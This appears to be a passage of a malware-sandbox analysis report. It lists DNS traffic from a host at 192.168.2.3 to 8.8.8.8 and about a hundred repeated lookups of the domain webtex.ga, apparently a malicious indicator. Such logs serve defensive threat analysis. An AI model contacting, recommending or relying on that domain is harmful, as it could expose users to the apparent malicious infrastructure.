Dec 3, 2020 10:04:01.117043972 CET	56153	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:01.144134998 CET	53	56153	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:01.421802998 CET	62000	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:01.448929071 CET	53	62000	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:01.710134983 CET	53950	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:01.737176895 CET	53	53950	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:02.015068054 CET	63769	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:02.042148113 CET	53	63769	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:02.381865025 CET	55493	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:02.409003019 CET	53	55493	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:02.661564112 CET	52525	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:02.688880920 CET	53	52525	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:02.942312956 CET	63590	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:02.969583988 CET	53	63590	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:03.232505083 CET	54618	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:03.259670019 CET	53	54618	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:03.505784988 CET	62856	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:03.532891989 CET	53	62856	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:03.795294046 CET	49214	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:03.822348118 CET	53	49214	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:04.074474096 CET	57493	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:04.101543903 CET	53	57493	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:04.355796099 CET	59247	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:04.391450882 CET	53	59247	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:04.647460938 CET	50809	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:04.674464941 CET	53	50809	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:04.915332079 CET	55433	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:04.942394018 CET	53	55433	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:05.199299097 CET	59962	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:05.226393938 CET	53	59962	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:05.483560085 CET	55201	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:05.510657072 CET	53	55201	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:05.769323111 CET	61742	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:05.796542883 CET	53	61742	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:06.074758053 CET	53323	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:06.101805925 CET	53	53323	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:06.352900982 CET	59262	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:06.380043030 CET	53	59262	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:06.635427952 CET	56159	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:06.662600994 CET	53	56159	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:06.949789047 CET	52188	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:06.977004051 CET	53	52188	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:07.224431038 CET	58397	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:07.251466990 CET	53	58397	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:07.525737047 CET	54762	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:07.552763939 CET	53	54762	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:07.808995962 CET	55577	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:07.835998058 CET	53	55577	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:08.217499971 CET	56033	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:08.244343996 CET	53	56033	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:08.498416901 CET	59251	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:08.525451899 CET	53	59251	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:08.637617111 CET	51467	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:08.664602995 CET	53	51467	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:08.778889894 CET	62708	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:08.805875063 CET	53	62708	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:09.057873011 CET	53798	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:09.084884882 CET	53	53798	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:09.325339079 CET	53842	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:09.352477074 CET	53	53842	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:09.508215904 CET	57071	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:09.544054985 CET	53	57071	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:09.614290953 CET	59930	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:09.641357899 CET	53	59930	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:09.901053905 CET	56998	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:09.928231001 CET	53	56998	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:10.190378904 CET	56228	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:10.217499018 CET	53	56228	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:10.459393978 CET	62491	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:10.486563921 CET	53	62491	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:10.736605883 CET	61300	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:10.763757944 CET	53	61300	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:11.023058891 CET	55100	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:11.050237894 CET	53	55100	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:11.390893936 CET	51872	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:11.417982101 CET	53	51872	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:11.669486046 CET	60476	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:11.696677923 CET	53	60476	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:11.944083929 CET	55069	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:11.971090078 CET	53	55069	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:12.247473955 CET	59172	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:12.274544001 CET	53	59172	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:12.585220098 CET	57079	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:12.612289906 CET	53	57079	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:12.864528894 CET	60111	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:12.891649008 CET	53	60111	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:13.144134045 CET	56463	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:13.171314955 CET	53	56463	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:13.455523968 CET	59880	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:13.482465029 CET	53	59880	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:13.773528099 CET	55000	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:13.800709963 CET	53	55000	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:14.070842981 CET	50341	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:14.097882986 CET	53	50341	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:14.356909990 CET	60369	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:14.383955002 CET	53	60369	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:14.643935919 CET	52677	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:14.670947075 CET	53	52677	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:14.910386086 CET	49347	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:14.937441111 CET	53	49347	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:15.187752008 CET	63604	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:15.214709044 CET	53	63604	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:15.465322018 CET	50165	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:15.492562056 CET	53	50165	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:15.742861986 CET	61728	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:15.769968987 CET	53	61728	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:16.022732019 CET	61690	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:16.049843073 CET	53	61690	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:16.517864943 CET	52192	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:16.544792891 CET	53	52192	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:16.820955038 CET	58090	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:16.847960949 CET	53	58090	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:17.112066031 CET	50311	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:17.139122009 CET	53	50311	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:17.833745956 CET	53484	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:17.860759974 CET	53	53484	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:18.132854939 CET	65225	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:18.159993887 CET	53	65225	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:19.915863037 CET	50308	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:19.942914009 CET	53	50308	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:20.226304054 CET	58281	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:20.253314972 CET	53	58281	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:20.501063108 CET	59448	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:20.528146982 CET	53	59448	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:20.803499937 CET	55097	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:20.830697060 CET	53	55097	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:21.247961044 CET	57607	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:21.274955034 CET	53	57607	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:21.527256012 CET	49734	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:21.554297924 CET	53	49734	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:21.853420019 CET	63254	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:21.880640030 CET	53	63254	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:22.121886015 CET	59610	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:22.148855925 CET	53	59610	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:22.394130945 CET	58505	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:22.421103954 CET	53	58505	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:22.719099998 CET	58242	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:22.746226072 CET	53	58242	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:22.981034994 CET	52341	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:23.007875919 CET	53	52341	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:23.254004002 CET	61876	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:23.281064034 CET	53	61876	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:23.541433096 CET	63455	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:23.568725109 CET	53	63455	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:23.816549063 CET	64610	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:23.843622923 CET	53	64610	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:24.106113911 CET	51570	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:24.133373022 CET	53	51570	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:24.394944906 CET	60562	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:24.422159910 CET	53	60562	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:24.686381102 CET	63927	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:24.713453054 CET	53	63927	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:25.305768967 CET	52352	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:25.332806110 CET	53	52352	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:25.729907990 CET	64092	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:25.756966114 CET	53	64092	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 3, 2020 10:02:28.585885048 CET	192.168.2.3	8.8.8.8	0x9dc0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:29.235055923 CET	192.168.2.3	8.8.8.8	0xcbcc	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:29.554157019 CET	192.168.2.3	8.8.8.8	0xc90e	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:30.093907118 CET	192.168.2.3	8.8.8.8	0xf2d3	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:30.440342903 CET	192.168.2.3	8.8.8.8	0x8338	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:31.059484959 CET	192.168.2.3	8.8.8.8	0x6d5	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:31.465171099 CET	192.168.2.3	8.8.8.8	0x9e60	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:31.770330906 CET	192.168.2.3	8.8.8.8	0xd5d3	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:32.094156981 CET	192.168.2.3	8.8.8.8	0x74e9	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:32.416392088 CET	192.168.2.3	8.8.8.8	0x6a4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:32.708549976 CET	192.168.2.3	8.8.8.8	0xd74	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:33.007380962 CET	192.168.2.3	8.8.8.8	0x5d50	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:33.324595928 CET	192.168.2.3	8.8.8.8	0x1da8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:33.646433115 CET	192.168.2.3	8.8.8.8	0x8589	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:34.000180006 CET	192.168.2.3	8.8.8.8	0x7eab	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:34.313985109 CET	192.168.2.3	8.8.8.8	0xf473	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:34.770662069 CET	192.168.2.3	8.8.8.8	0x35ee	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:35.186542034 CET	192.168.2.3	8.8.8.8	0xce9d	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:35.972059011 CET	192.168.2.3	8.8.8.8	0x6755	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:36.264887094 CET	192.168.2.3	8.8.8.8	0x9615	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:36.717093945 CET	192.168.2.3	8.8.8.8	0xa2f9	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:38.498115063 CET	192.168.2.3	8.8.8.8	0x88f3	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:38.826427937 CET	192.168.2.3	8.8.8.8	0x42fb	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:39.146038055 CET	192.168.2.3	8.8.8.8	0xb789	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:39.479924917 CET	192.168.2.3	8.8.8.8	0x5b0f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:39.794024944 CET	192.168.2.3	8.8.8.8	0xc726	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:40.109395027 CET	192.168.2.3	8.8.8.8	0xd319	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:40.415194988 CET	192.168.2.3	8.8.8.8	0xc211	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:40.703869104 CET	192.168.2.3	8.8.8.8	0xdd07	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:41.027050972 CET	192.168.2.3	8.8.8.8	0x8454	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:41.361510038 CET	192.168.2.3	8.8.8.8	0x1398	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:41.670005083 CET	192.168.2.3	8.8.8.8	0x70e5	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:41.976327896 CET	192.168.2.3	8.8.8.8	0x7f1f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:42.270056009 CET	192.168.2.3	8.8.8.8	0x3748	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:42.604676962 CET	192.168.2.3	8.8.8.8	0x1726	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:42.928745985 CET	192.168.2.3	8.8.8.8	0x602d	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:43.225001097 CET	192.168.2.3	8.8.8.8	0x24eb	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:43.561017036 CET	192.168.2.3	8.8.8.8	0x238d	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:43.881627083 CET	192.168.2.3	8.8.8.8	0x9a51	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:44.201263905 CET	192.168.2.3	8.8.8.8	0xe7c4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:44.502989054 CET	192.168.2.3	8.8.8.8	0x65e4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:44.972174883 CET	192.168.2.3	8.8.8.8	0x70f3	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:45.313241005 CET	192.168.2.3	8.8.8.8	0xbe0d	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:45.632884026 CET	192.168.2.3	8.8.8.8	0x4443	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:45.958441973 CET	192.168.2.3	8.8.8.8	0x44ad	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:46.264465094 CET	192.168.2.3	8.8.8.8	0x21bd	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:46.572137117 CET	192.168.2.3	8.8.8.8	0x55dd	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:46.884318113 CET	192.168.2.3	8.8.8.8	0x5c7c	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:47.159286976 CET	192.168.2.3	8.8.8.8	0x2b96	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:47.451164007 CET	192.168.2.3	8.8.8.8	0xf13c	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:47.757059097 CET	192.168.2.3	8.8.8.8	0xca9d	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:48.072316885 CET	192.168.2.3	8.8.8.8	0xa946	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:48.382123947 CET	192.168.2.3	8.8.8.8	0xbab1	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:48.664874077 CET	192.168.2.3	8.8.8.8	0xe678	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:48.953640938 CET	192.168.2.3	8.8.8.8	0xe05f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:49.240653038 CET	192.168.2.3	8.8.8.8	0x7be3	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:49.537837982 CET	192.168.2.3	8.8.8.8	0x5ed8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:50.012649059 CET	192.168.2.3	8.8.8.8	0xa25	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:50.312208891 CET	192.168.2.3	8.8.8.8	0x3f42	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:50.616952896 CET	192.168.2.3	8.8.8.8	0x58ce	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:50.912763119 CET	192.168.2.3	8.8.8.8	0x2a57	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:51.202581882 CET	192.168.2.3	8.8.8.8	0x9cca	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:51.474638939 CET	192.168.2.3	8.8.8.8	0x2077	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:51.791898012 CET	192.168.2.3	8.8.8.8	0x99f5	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:52.069417953 CET	192.168.2.3	8.8.8.8	0x8296	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:52.393465042 CET	192.168.2.3	8.8.8.8	0x8f91	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:52.717830896 CET	192.168.2.3	8.8.8.8	0x3392	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:53.049109936 CET	192.168.2.3	8.8.8.8	0xa6ed	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:53.412718058 CET	192.168.2.3	8.8.8.8	0x4d4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:53.700769901 CET	192.168.2.3	8.8.8.8	0xb873	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:54.064919949 CET	192.168.2.3	8.8.8.8	0xa277	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:54.348299980 CET	192.168.2.3	8.8.8.8	0xd645	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:54.633327961 CET	192.168.2.3	8.8.8.8	0x1694	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:55.265343904 CET	192.168.2.3	8.8.8.8	0x7c88	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:55.642606020 CET	192.168.2.3	8.8.8.8	0xa1c1	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:57.107584953 CET	192.168.2.3	8.8.8.8	0x8e9c	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:57.453136921 CET	192.168.2.3	8.8.8.8	0xfea6	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:57.861424923 CET	192.168.2.3	8.8.8.8	0x3f28	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:58.165703058 CET	192.168.2.3	8.8.8.8	0x1e87	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:58.471180916 CET	192.168.2.3	8.8.8.8	0x7da4	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:58.767008066 CET	192.168.2.3	8.8.8.8	0x26b0	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:59.063576937 CET	192.168.2.3	8.8.8.8	0x41a9	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:59.332727909 CET	192.168.2.3	8.8.8.8	0x1b27	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:59.620688915 CET	192.168.2.3	8.8.8.8	0x9482	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:02:59.915173054 CET	192.168.2.3	8.8.8.8	0x4379	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:00.208374977 CET	192.168.2.3	8.8.8.8	0x59c6	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:00.489223003 CET	192.168.2.3	8.8.8.8	0x15e8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:01.522310972 CET	192.168.2.3	8.8.8.8	0x15e8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:01.962356091 CET	192.168.2.3	8.8.8.8	0x2857	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:02.265445948 CET	192.168.2.3	8.8.8.8	0x34c8	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:02.565130949 CET	192.168.2.3	8.8.8.8	0xae95	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:02.839083910 CET	192.168.2.3	8.8.8.8	0xcd57	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:03.107460022 CET	192.168.2.3	8.8.8.8	0xc3ff	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:03.453428984 CET	192.168.2.3	8.8.8.8	0x54f1	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:03.796557903 CET	192.168.2.3	8.8.8.8	0xb71b	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:04.060163975 CET	192.168.2.3	8.8.8.8	0x6edf	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:04.340807915 CET	192.168.2.3	8.8.8.8	0x832a	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:04.846359015 CET	192.168.2.3	8.8.8.8	0xd28e	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:05.140671015 CET	192.168.2.3	8.8.8.8	0x355	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:05.526319027 CET	192.168.2.3	8.8.8.8	0x2882	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:05.999557018 CET	192.168.2.3	8.8.8.8	0x43df	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:06.272005081 CET	192.168.2.3	8.8.8.8	0x803e	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:06.923021078 CET	192.168.2.3	8.8.8.8	0x95f7	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:07.196409941 CET	192.168.2.3	8.8.8.8	0xba9f	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:07.464982033 CET	192.168.2.3	8.8.8.8	0xc3ec	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
Dec 3, 2020 10:03:07.766259909 CET	192.168.2.3	8.8.8.8	0x5723	Standard query (0)	webtex.ga	A (IP address)	IN (0x0001)
